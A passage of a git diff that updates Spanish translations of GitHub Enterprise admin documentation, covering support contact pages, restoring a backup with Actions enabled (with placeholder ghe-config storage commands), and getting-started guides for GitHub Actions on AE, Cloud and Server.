+++ b/translations/es-ES/content/admin/enterprise-support/receiving-help-from-github-support/providing-data-to-github-support.md
@@ -2,9 +2,9 @@
 title: Proporcionar datos al soporte de GitHub
 intro: 'Dado que {% data variables.contact.github_support %} no tiene acceso a tu entorno, te solicitaremos información adicional.'
 redirect_from:
-  - /enterprise/admin/guides/installation/troubleshooting/
-  - /enterprise/admin/articles/support-bundles/
-  - /enterprise/admin/guides/enterprise-support/providing-data-to-github-enterprise-support/
+  - /enterprise/admin/guides/installation/troubleshooting
+  - /enterprise/admin/articles/support-bundles
+  - /enterprise/admin/guides/enterprise-support/providing-data-to-github-enterprise-support
   - /enterprise/admin/enterprise-support/providing-data-to-github-support
   - /admin/enterprise-support/providing-data-to-github-support
 versions:
diff --git a/translations/es-ES/content/admin/enterprise-support/receiving-help-from-github-support/reaching-github-support.md b/translations/es-ES/content/admin/enterprise-support/receiving-help-from-github-support/reaching-github-support.md
index 70b1836838..9e60d8c73a 100644
--- a/translations/es-ES/content/admin/enterprise-support/receiving-help-from-github-support/reaching-github-support.md
+++ b/translations/es-ES/content/admin/enterprise-support/receiving-help-from-github-support/reaching-github-support.md
@@ -2,7 +2,7 @@
 title: Reaching GitHub Support
 intro: 'Contact {% data variables.contact.enterprise_support %} using the {% ifversion ghes %}{% data variables.product.prodname_ghe_server %} {% data variables.enterprise.management_console %} or{% endif %} the support portal.'
 redirect_from:
-  - /enterprise/admin/guides/enterprise-support/reaching-github-enterprise-support/
+  - /enterprise/admin/guides/enterprise-support/reaching-github-enterprise-support
   - /enterprise/admin/enterprise-support/reaching-github-support
   - /admin/enterprise-support/reaching-github-support
 versions:
diff --git a/translations/es-ES/content/admin/github-actions/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled.md b/translations/es-ES/content/admin/github-actions/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled.md
index 9b8f49062d..f869a9d807 100644
--- a/translations/es-ES/content/admin/github-actions/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled.md
+++ b/translations/es-ES/content/admin/github-actions/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled.md
@@ -22,9 +22,35 @@ Esta es una vista general de los pasos que se requieren para restablecer {% data
 
 1. Confirmar que el aplicativo original esté fuera de línea.
 1. Configurar manualmente los ajustes de red en el aplicativo de reemplazo de {% data variables.product.prodname_ghe_server %}. La configuración de red se excluye de la captura del respaldo y no los sobrescribe el `ghe-restore`.
-1. Configura el aplicativo de reemplazo para utilizar la misma configuración de almacenamiento externo de {% data variables.product.prodname_actions %} que el aplicativo original.
+1. Para configurar el aplicativo de reemplazo para que utilice la misma configuración de almacenamiento externo de {% data variables.product.prodname_actions %} que el aplicativo original, desde el aplicativo nuevo, configura los parámetros requeridos con el comando `ghe-config`.
+
+    - Almacenamiento de Blobs de Azure
+    ```shell
+    ghe-config secrets.actions.storage.blob-provider "azure"
+    ghe-config secrets.actions.storage.azure.connection-string "_Connection_String_"
+    ```
+    - Amazon S3
+    ```shell
+    ghe-config secrets.actions.storage.blob-provider "s3"
+    ghe-config secrets.actions.storage.s3.bucket-name "_S3_Bucket_Name"
+    ghe-config secrets.actions.storage.s3.service-url "_S3_Service_URL_"
+    ghe-config secrets.actions.storage.s3.access-key-id "_S3_Access_Key_ID_"
+    ghe-config secrets.actions.storage.s3.access-secret "_S3_Access_Secret_"
+    ```
+    - Opcionalmente, para habilitar el estilo de ruta forzada de S3, ingresa el siguiente comando:
+    ```shell
+    ghe-config secrets.actions.storage.s3.force-path-style true
+    ```
+
+
 1. Habilita {% data variables.product.prodname_actions %} en el aplicativo de reemplazo. Esto conectará el aplicativo de reemplazo al mismo almacenamiento externo de {% data variables.product.prodname_actions %}.
-1. Después de que se configure {% data variables.product.prodname_actions %} con el proveedor de almacenamiento externo, utiliza el comando `ghe-restore` para restablecer el resto de los datos del respaldo. Para obtener más información, consulta la sección "[Restablecer un respaldo](/admin/configuration/configuring-backups-on-your-appliance#restoring-a-backup)".
+
+    ```shell
+    ghe-config app.actions.enabled true
+    ghe-config-apply
+    ```
+
+1. Después de configurar y habilitar las {% data variables.product.prodname_actions %}, utiliza el comando `ghe-restore` para restablecer el resto de los datos desde el respaldo. Para obtener más información, consulta la sección "[Restablecer un respaldo](/admin/configuration/configuring-backups-on-your-appliance#restoring-a-backup)".
 1. Vuelve a registrar tus ejecutores auto-hospedados en el aplicativo de reemplazo. Para obtener más información, consulta la sección de [Agregar ejecutores autoalojados](/actions/hosting-your-own-runners/adding-self-hosted-runners).
 
 Para obtener más información sobre respaldar y restablecer {% data variables.product.prodname_ghe_server %}, consulta la sección "[Configurar los respaldos en tu aplicativo](/admin/configuration/configuring-backups-on-your-appliance)".
diff --git a/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md b/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md
index caad89aa5f..7c22a3bb5f 100644
--- a/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md
+++ b/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md
@@ -1,6 +1,6 @@
 ---
-title: Getting started with GitHub Actions for GitHub AE
-shortTitle: Get started
+title: Comenzar con las GitHub Actions para GitHub AE
+shortTitle: Empezar
 intro: 'Learn about configuring {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_managed %}.'
 permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.'
 versions:
@@ -15,9 +15,9 @@ redirect_from:
 ---
 
 
-## About {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_managed %}
+## Acerca del {% data variables.product.prodname_actions %} en {% data variables.product.prodname_ghe_managed %}
 
-This article explains how site administrators can configure {% data variables.product.prodname_ghe_managed %} to use {% data variables.product.prodname_actions %}.
+Este artículo explica cómo los administradores de sitio pueden habilitar {% data variables.product.prodname_ghe_managed %} para utilizar {% data variables.product.prodname_actions %}.
 
 {% data variables.product.prodname_actions %} is enabled for {% data variables.product.prodname_ghe_managed %} by default. To get started using {% data variables.product.prodname_actions %} within your enterprise, you need to manage access permissions for {% data variables.product.prodname_actions %} and add runners to run workflows.
 
@@ -25,12 +25,12 @@ This article explains how site administrators can configure {% data variables.pr
 
 {% data reusables.actions.migrating-enterprise %}
 
-## Managing access permissions for {% data variables.product.prodname_actions %} in your enterprise
+## Administrar los permisos de acceso para {% data variables.product.prodname_actions %} en tu empresa
 
-You can use policies to manage access to {% data variables.product.prodname_actions %}. For more information, see "[Enforcing GitHub Actions policies for your enterprise](/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise)."
+Puedes utilizar políticas para administrar el acceso a las {% data variables.product.prodname_actions %}. Para obtener más información, consulta la sección "[Requerir las políticas de GitHub Actions para tu empresa](/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise)".
 
-## Adding runners
+## Agregar ejecutores
 
-You can configure and host servers to run jobs for your enterprise on {% data variables.product.product_name %}. {% data reusables.actions.about-self-hosted-runners %} For more information, see "[Hosting your own runners](/actions/hosting-your-own-runners)."
+You can configure and host servers to run jobs for your enterprise on {% data variables.product.product_name %}. {% data reusables.actions.about-self-hosted-runners %} Para obtener más información, consulta "[Alojar tus propios ejecutores](/actions/hosting-your-own-runners)".
 
 {% data reusables.actions.general-security-hardening %}
diff --git a/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md b/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md
index 8680be8654..66190f9104 100644
--- a/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md
+++ b/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md
@@ -1,7 +1,7 @@
 ---
 title: Getting started with GitHub Actions for GitHub Enterprise Cloud
-shortTitle: Get started
-intro: 'Learn how to configure {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_cloud %}.'
+shortTitle: Empezar
+intro: 'Aprende cómo configurar las {% data variables.product.prodname_actions %} en {% data variables.product.prodname_ghe_cloud %}.'
 permissions: 'Enterprise owners can configure {% data variables.product.prodname_actions %}.'
 versions:
   ghec: '*'
@@ -11,7 +11,7 @@ topics:
   - Enterprise
 ---
 
-## About {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_cloud %}
+## Acerca del {% data variables.product.prodname_actions %} en {% data variables.product.prodname_ghe_cloud %}
 
 {% data variables.product.prodname_actions %} is enabled for your enterprise by default. To get started using {% data variables.product.prodname_actions %} within your enterprise, you can manage the policies that control how enterprise members use {% data variables.product.prodname_actions %} and optionally add self-hosted runners to run workflows.
 
@@ -21,14 +21,14 @@ topics:
 
 ## Managing policies for {% data variables.product.prodname_actions %}
 
-You can use policies to control how enterprise members use {% data variables.product.prodname_actions %}. For example, you can restrict which actions are allowed and configure artifact and log retention. For more information, see "[Enforcing GitHub Actions policies for your enterprise](/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise)."
+You can use policies to control how enterprise members use {% data variables.product.prodname_actions %}. For example, you can restrict which actions are allowed and configure artifact and log retention. Para obtener más información, consulta la sección "[Requerir las políticas de GitHub Actions para tu empresa](/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise)".
 
-## Adding runners
+## Agregar ejecutores
 
-To run {% data variables.product.prodname_actions %} workflows, you need to use runners. {% data reusables.actions.about-runners %} If you use {% data variables.product.company_short %}-hosted runners, you will be be billed based on consumption after exhausting the minutes included in {% data variables.product.product_name %}, while self-hosted runners are free. For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)."
+To run {% data variables.product.prodname_actions %} workflows, you need to use runners. {% data reusables.actions.about-runners %} If you use {% data variables.product.company_short %}-hosted runners, you will be be billed based on consumption after exhausting the minutes included in {% data variables.product.product_name %}, while self-hosted runners are free. Para obtener más información, consulta "[Acerca de la facturación para {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)".
 
-For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."
+Para obtener más información, consulta "[Acerca de los ejecutores autoalojados](/actions/hosting-your-own-runners/about-self-hosted-runners)."
 
-If you choose self-hosted runners, you can add runners at the enterprise, organization, or repository levels. For more information, see "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)"
+If you choose self-hosted runners, you can add runners at the enterprise, organization, or repository levels. Para obtener más información, consulta "[Agregar ejecutores autoalojados](/actions/hosting-your-own-runners/adding-self-hosted-runners)"
 
-{% data reusables.actions.general-security-hardening %}
\ No newline at end of file
+{% data reusables.actions.general-security-hardening %}
diff --git a/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md b/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md
index 5f067794ac..ac79c45853 100644
--- a/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md
+++ b/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md
@@ -1,7 +1,7 @@
 ---
-title: Getting started with GitHub Actions for GitHub Enterprise Server
-shortTitle: Get started
-intro: 'Learn about enabling and configuring {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} for the first time.'
+title: Iniciar con GitHub Actions para GitHub Enterprise Server
+shortTitle: Empezar
+intro: 'Aprende cómo habilitar y configurar las {% data variables.product.prodname_actions %} en {% data variables.product.prodname_ghe_server %} por primera vez.'
 permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.'
 redirect_from:
   - /enterprise/admin/github-actions/enabling-github-actions-and-configuring-storage
@@ -15,13 +15,14 @@ topics:
   - Actions
   - Enterprise
 ---
+
 {% data reusables.actions.enterprise-beta %}
 
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %}
+## Acerca del {% data variables.product.prodname_actions %} en {% data variables.product.prodname_ghe_server %}
 
-This article explains how site administrators can configure {% data variables.product.prodname_ghe_server %} to use {% data variables.product.prodname_actions %}.
+Este artículo explica cómo los administradores de sitio pueden habilitar {% data variables.product.prodname_ghe_server %} para utilizar {% data variables.product.prodname_actions %}.
 
 {% data reusables.enterprise.upgrade-ghes-for-actions %}
 
@@ -31,13 +32,13 @@ This article explains how site administrators can configure {% data variables.pr
 
 {% data reusables.actions.migrating-enterprise %}
 
-## Review hardware considerations
+## Revisar las consideraciones de hardware
 
 {% ifversion ghes = 3.0 %}
 
 {% note %}
 
-**Note**: If you're upgrading an existing {% data variables.product.prodname_ghe_server %} instance to 3.0 or later and want to configure {% data variables.product.prodname_actions %}, note that the minimum hardware requirements have increased. For more information, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/upgrading-github-enterprise-server#about-minimum-requirements-for-github-enterprise-server-30-and-later)."
+**Nota**:Si estás actualizando una instancia existente de {% data variables.product.prodname_ghe_server %} hacia la versión 3.0 o superior y quieres configurar las {% data variables.product.prodname_actions %}, nota que los requisitos mínimos de hardware han aumentado. Para obtener más información, consulta "[Actualizar {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/upgrading-github-enterprise-server#about-minimum-requirements-for-github-enterprise-server-30-and-later)."
 
 {% endnote %}
 
@@ -45,17 +46,17 @@ This article explains how site administrators can configure {% data variables.pr
 
 {%- ifversion ghes < 3.2 %}
 
-The CPU and memory resources available to {% data variables.product.product_location %} determine the maximum job throughput for {% data variables.product.prodname_actions %}.
+Los recursos de CPU y de memoria que están disponibles para {% data variables.product.product_location %} determinan el rendimiento máximo de jobs para {% data variables.product.prodname_actions %}.
 
-Internal testing at {% data variables.product.company_short %} demonstrated the following maximum throughput for {% data variables.product.prodname_ghe_server %} instances with a range of CPU and memory configurations. You may see different throughput depending on the overall levels of activity on your instance.
+Las pruebas internas de {% data variables.product.company_short %} demostraron el siguiente rendimiento máximo para las instancias de {% data variables.product.prodname_ghe_server %} con un rango de CPU y configuraciones de memoria. Puede que vas rendimientos diferentes dependiendo de los niveles generales de actividad en tu instancia.
 
 {%- endif %}
 
 {%- ifversion ghes > 3.1 %}
 
-The CPU and memory resources available to {% data variables.product.product_location %} determine the number of jobs that can be run concurrently without performance loss.
+Los recursos de memoria y CPU que {% data variables.product.product_location %} tiene disponibles determinan la cantidad de jobs que se pueden ejecutar simultáneamente sin pérdida de rendimiento.
 
-The peak quantity of concurrent jobs running without performance loss depends on such factors as job duration, artifact usage, number of repositories running Actions, and how much other work your instance is doing not related to Actions. Internal testing at GitHub demonstrated the following performance targets for GitHub Enterprise Server on a range of CPU and memory configurations:
+La cantidad máxima de ejecución simultánea de jobs sin pérdida de rendimiento depende de factores tales como la duración de los jobs, el uso de artefactos, la cantidad de repositorios ejecutando acciones y qué tanto trabajo adicional sin relación a las acciones ejecuta tu instancia. Las pruebas internas en GitHub demostraron los siguientes objetivos de rendimiento para GitHub Enterprise Server en un rango de configuraciones de memoria y CPU:
 
 {% endif %}
 
@@ -69,7 +70,7 @@ The peak quantity of concurrent jobs running without performance loss depends on
 
 {% data reusables.actions.hardware-requirements-3.2 %}
 
-Maximum concurrency was measured using multiple repositories, job duration of approximately 10 minutes, and 10 MB artifact uploads. You may experience different performance depending on the overall levels of activity on your instance.
+La simultaneidad máxima se midió utilizando repositorios múltiples, una duración de los jobs de aproximadamente 10 minutos y 10 MB de cargas de artefactos. Puedes experimentar rendimientos diferentes dependiendo de los niveles de actividad generales de tu instancia.
 
 {%- endif %}
 
@@ -77,17 +78,17 @@ Maximum concurrency was measured using multiple repositories, job duration of ap
 
 {% data reusables.actions.hardware-requirements-after %}
 
-Maximum concurrency was measured using multiple repositories, job duration of approximately 10 minutes, and 10 MB artifact uploads. You may experience different performance depending on the overall levels of activity on your instance.
+La simultaneidad máxima se midió utilizando repositorios múltiples, una duración de los jobs de aproximadamente 10 minutos y 10 MB de cargas de artefactos. Puedes experimentar rendimientos diferentes dependiendo de los niveles de actividad generales de tu instancia.
 
 {%- endif %}
 
-If you plan to enable {% data variables.product.prodname_actions %} for the users of an existing instance, review the levels of activity for users and automations on the instance and ensure that you have provisioned adequate CPU and memory for your users. For more information about monitoring the capacity and performance of {% data variables.product.prodname_ghe_server %}, see "[Monitoring your appliance](/admin/enterprise-management/monitoring-your-appliance)."
+If you plan to enable {% data variables.product.prodname_actions %} for the users of an existing instance, review the levels of activity for users and automations on the instance and ensure that you have provisioned adequate CPU and memory for your users. Para obtener más información acerca de cómo monitorear la capacidad y rendimiento de {% data variables.product.prodname_ghe_server %}, consulta la sección "[Monitorear tu aplicativo](/admin/enterprise-management/monitoring-your-appliance)".
 
-For more information about minimum hardware requirements for {% data variables.product.product_location %}, see the hardware considerations for your instance's platform.
+Para obtener más información acerca de los requisitos mínimos de {% data variables.product.product_location %}, consulta las consideraciones de hardware para la plataforma de tu instancia.
 
 - [AWS](/admin/installation/installing-github-enterprise-server-on-aws#hardware-considerations)
 - [Azure](/admin/installation/installing-github-enterprise-server-on-azure#hardware-considerations)
-- [Google Cloud Platform](/admin/installation/installing-github-enterprise-server-on-google-cloud-platform#hardware-considerations)
+- [Plataforma de Google Cloud](/admin/installation/installing-github-enterprise-server-on-google-cloud-platform#hardware-considerations)
 - [Hyper-V](/admin/installation/installing-github-enterprise-server-on-hyper-v#hardware-considerations)
 - [OpenStack KVM](/admin/installation/installing-github-enterprise-server-on-openstack-kvm#hardware-considerations)
 - [VMware](/admin/installation/installing-github-enterprise-server-on-vmware#hardware-considerations){% ifversion ghes < 3.3 %}
@@ -95,58 +96,58 @@ For more information about minimum hardware requirements for {% data variables.p
 
 {% data reusables.enterprise_installation.about-adjusting-resources %}
 
-## External storage requirements
+## Requisitos de almacenamiento externo
 
-To enable {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %}, you must have access to external blob storage.
+Para habilitar {% data variables.product.prodname_actions %} en {% data variables.product.prodname_ghe_server %}, debes tener acceso al almacenamiento externo de blobs.
 
-{% data variables.product.prodname_actions %} uses blob storage to store artifacts generated by workflow runs, such as workflow logs and user-uploaded build artifacts. The amount of storage required depends on your usage of {% data variables.product.prodname_actions %}. Only a single external storage configuration is supported, and you can't use multiple storage providers at the same time.
+{% data variables.product.prodname_actions %} utiliza el almacenamiento de blobs para almacenar artefactos que se generan con las ejecuciones de flujo de trabajo, tales como las bitácoras de flujo de trabajo y los artefactos de compilaciones que sube el usuario. La cantidad de almacenamiento requerida dependerá de tu uso de {% data variables.product.prodname_actions %}. Sólo se admite una sola configuración de almacenamiento externo y no puedes utilizar varios proveedores de almacenamiento al mismo tiempo.
 
-{% data variables.product.prodname_actions %} supports these storage providers:
+{% data variables.product.prodname_actions %} es compatible con estos proveedores de almacenamiento:
 
 * Azure Blob storage
 * Amazon S3
-* S3-compatible MinIO Gateway for NAS
+* S3-compatible MinIO Gateway para NAS
 
 {% note %}
 
-**Note:** These are the only storage providers that {% data variables.product.company_short %} supports and can provide assistance with. Other S3 API-compatible storage providers are unlikely to work due to differences from the S3 API. [Contact us](https://support.github.com/contact) to request support for additional storage providers.
+**Nota:** Estos son los únicos proveedores de almacenamiento compatibles con {% data variables.product.company_short %} y sobre los que éste puede proporcionar asistencia. Es muy poco probable que otros proveedores de almacenamiento de S3 compatibles con la API funcionen, debido a las diferencias de la API de S3. [Contáctanos](https://support.github.com/contact) para solicitar soporte para proveedores de almacenamiento adicionales.
 
 {% endnote %}
 
-## Networking considerations
+## Consideraciones de las conexiones
 
-{% data reusables.actions.proxy-considerations %} For more information about using a proxy with {% data variables.product.prodname_ghe_server %}, see "[Configuring an outbound web proxy server](/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server)."
+{% data reusables.actions.proxy-considerations %} Para obtener más información sobre cómo utilizar un proxy con {% data variables.product.prodname_ghe_server %}, consulta la sección "[Configurar un servidor proxy saliente](/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server)".
 
 {% ifversion ghes %}
 
-## Enabling {% data variables.product.prodname_actions %} with your storage provider
+## Habilitar las {% data variables.product.prodname_actions %} con tu proveedor de almacenamiento
 
-Follow one of the procedures below to enable {% data variables.product.prodname_actions %} with your chosen storage provider:
+Sigue uno de los procedimientos siguientes para habilitar las {% data variables.product.prodname_actions %} con el proveedor de almacenamiento de tu elección:
 
-* [Enabling GitHub Actions with Azure Blob storage](/admin/github-actions/enabling-github-actions-with-azure-blob-storage)
-* [Enabling GitHub Actions with Amazon S3 storage](/admin/github-actions/enabling-github-actions-with-amazon-s3-storage)
-* [Enabling GitHub Actions with MinIO Gateway for NAS storage](/admin/github-actions/enabling-github-actions-with-minio-gateway-for-nas-storage)
+* [Habilitar las GitHub Actions con el almacenamiento de Azure Blob](/admin/github-actions/enabling-github-actions-with-azure-blob-storage)
+* [Habilitar las GitHub Actions con el almacenamiento de Amazon S3](/admin/github-actions/enabling-github-actions-with-amazon-s3-storage)
+* [Habilitar las GitHub Actions con la puerta de enlace de MinIO para el almacenamiento en NAS](/admin/github-actions/enabling-github-actions-with-minio-gateway-for-nas-storage)
 
-## Managing access permissions for {% data variables.product.prodname_actions %} in your enterprise
+## Administrar los permisos de acceso para {% data variables.product.prodname_actions %} en tu empresa
 
-You can use policies to manage access to {% data variables.product.prodname_actions %}. For more information, see "[Enforcing GitHub Actions policies for your enterprise](/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise)."
+Puedes utilizar políticas para administrar el acceso a las {% data variables.product.prodname_actions %}. Para obtener más información, consulta la sección "[Requerir las políticas de GitHub Actions para tu empresa](/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise)".
 
-## Adding self-hosted runners
+## Agrega ejecutores auto-hospedados
 
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-To run {% data variables.product.prodname_actions %} workflows, you need to add self-hosted runners. You can add self-hosted runners at the enterprise, organization, or repository levels. For more information, see "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)."
+Para ejecutar los flujos de trabajo de {% data variables.product.prodname_actions %}, necesitas agregar ejecutores auto-hospedados. Puedes agregar ejecutores auto-hospedados a nivel de empresa, organización o repositorio. Para obtener más información, consulta "[Agregar ejecutores autoalojados](/actions/hosting-your-own-runners/adding-self-hosted-runners)."
 
-## Managing which actions can be used in your enterprise
+## Administrar qué acciones pueden utilizarse en tu empresa
 
-You can control which actions your users are allowed to use in your enterprise. This includes setting up {% data variables.product.prodname_github_connect %} for automatic access to actions from {% data variables.product.prodname_dotcom_the_website %}, or manually syncing actions from {% data variables.product.prodname_dotcom_the_website %}.
+Puedes controlar las acciones que pueden utilizar tus usuarios en tu empresa. Esto incluye el configurar {% data variables.product.prodname_github_connect %} para el acceso automático a las acciones de {% data variables.product.prodname_dotcom_the_website %}, o sincronizar las acciones de {% data variables.product.prodname_dotcom_the_website %} manualmente.
 
-For more information, see "[About using actions in your enterprise](/admin/github-actions/about-using-actions-in-your-enterprise)."
+Para obtener más información, consulta la sección "[Acerca de utilizar las acciones en tu empresa](/admin/github-actions/about-using-actions-in-your-enterprise)".
 
 {% data reusables.actions.general-security-hardening %}
 
 {% endif %}
 
-## Reserved Names
+## Nombres reservados
 
-When you enable {% data variables.product.prodname_actions %} for your enterprise, two organizations are created: `github` and `actions`. If your enterprise already uses the `github` organization name, `github-org` (or `github-github-org` if `github-org` is also in use) will be used instead. If your enterprise already uses the `actions` organization name, `github-actions` (or `github-actions-org` if `github-actions` is also in use) will be used instead. Once actions is enabled, you won't be able to use these names anymore.
+Cuando habilitas las {% data variables.product.prodname_actions %} para tu empresa, se crean dos organizaciones: `github` y `actions`. Si tu empresa utiliza el nombre de organización `github`, `github-org` (o `github-github-org` si `github-org` también se está utilizando) se utilizará en su lugar. Si tu empresa ya utiliza el nombre de organización `actions`, `github-actions` (or `github-actions-org` si `github-actions` también se está utilizando) se utilizará en su lugar. Una vez que se habiliten las acciones, ya no podrás utilizar estos nombres.
diff --git a/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md b/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md
index 7a7069a145..79f3349f4e 100644
--- a/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md
+++ b/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md
@@ -1,6 +1,6 @@
 ---
 title: Getting started with GitHub Actions for your enterprise
-intro: "Learn how to adopt {% data variables.product.prodname_actions %} for your enterprise."
+intro: 'Learn how to adopt {% data variables.product.prodname_actions %} for your enterprise.'
 versions:
   ghec: '*'
   ghes: '*'
@@ -14,6 +14,6 @@ children:
   - /getting-started-with-github-actions-for-github-enterprise-cloud
   - /getting-started-with-github-actions-for-github-enterprise-server
   - /getting-started-with-github-actions-for-github-ae
-shortTitle: Get started
+shortTitle: Empezar
 ---
 
diff --git a/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md b/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md
index 6114f313f6..2aaf861307 100644
--- a/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md
+++ b/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md
@@ -1,7 +1,7 @@
 ---
 title: Introducing GitHub Actions to your enterprise
 shortTitle: Introduce Actions
-intro: "You can plan how to roll out {% data variables.product.prodname_actions %} in your enterprise."
+intro: 'You can plan how to roll out {% data variables.product.prodname_actions %} in your enterprise.'
 versions:
   ghec: '*'
   ghes: '*'
@@ -24,11 +24,11 @@ Before you introduce {% data variables.product.prodname_actions %} to a large en
 
 ## Governance and compliance
 
-Your should create a plan to govern your enterprise's use of {% data variables.product.prodname_actions %} and meet your compliance obligations.
+You should create a plan to govern your enterprise's use of {% data variables.product.prodname_actions %} and meet your compliance obligations.
 
 Determine which actions your developers will be allowed to use. {% ifversion ghes %}First, decide whether you'll enable access to actions from outside your instance. {% data reusables.actions.access-actions-on-dotcom %} For more information, see "[About using actions in your enterprise](/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise)."
 
-Then,{% else %}First,{% endif %} decide whether you'll allow third-party actions that were not created by {% data variables.product.company_short %}. You can configure the actions that are allowed to run at the repository, organization, and enterprise levels and can choose to only allow actions that are created by {% data variables.product.company_short %}. If you do allow third-party actions, you can limit allowed actions to those created by verified creators or a list of specific actions. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#managing-github-actions-permissions-for-your-repository)", "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#managing-github-actions-permissions-for-your-organization)", and "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-to-restrict-the-use-of-actions-in-your-enterprise)."
+Then,{% else %}First,{% endif %} decide whether you'll allow third-party actions that were not created by {% data variables.product.company_short %}. You can configure the actions that are allowed to run at the repository, organization, and enterprise levels and can choose to only allow actions that are created by {% data variables.product.company_short %}. If you do allow third-party actions, you can limit allowed actions to those created by verified creators or a list of specific actions. Para obtener más información, consulta las secciones "[Administrar los ajustes de las {% data variables.product.prodname_actions %} para un repositorio](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#managing-github-actions-permissions-for-your-repository)", "[Inhabilitar o limitar las {% data variables.product.prodname_actions %} para tu organización](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#managing-github-actions-permissions-for-your-organization)" y "[Requerir políticas para las {% data variables.product.prodname_actions %} en tu empresa](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-to-restrict-the-use-of-actions-in-your-enterprise)".
 
 ![Screenshot of {% data variables.product.prodname_actions %} policies](/assets/images/help/organizations/enterprise-actions-policy.png)
 
@@ -36,11 +36,11 @@ Then,{% else %}First,{% endif %} decide whether you'll allow third-party actions
 Consider combining OpenID Connect (OIDC) with reusable workflows to enforce consistent deployments across your repository, organization, or enterprise. You can do this by defining trust conditions on cloud roles based on reusable workflows. For more information, see "[Using OpenID Connect with reusable workflows](/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows)."
 {% endif %}
 
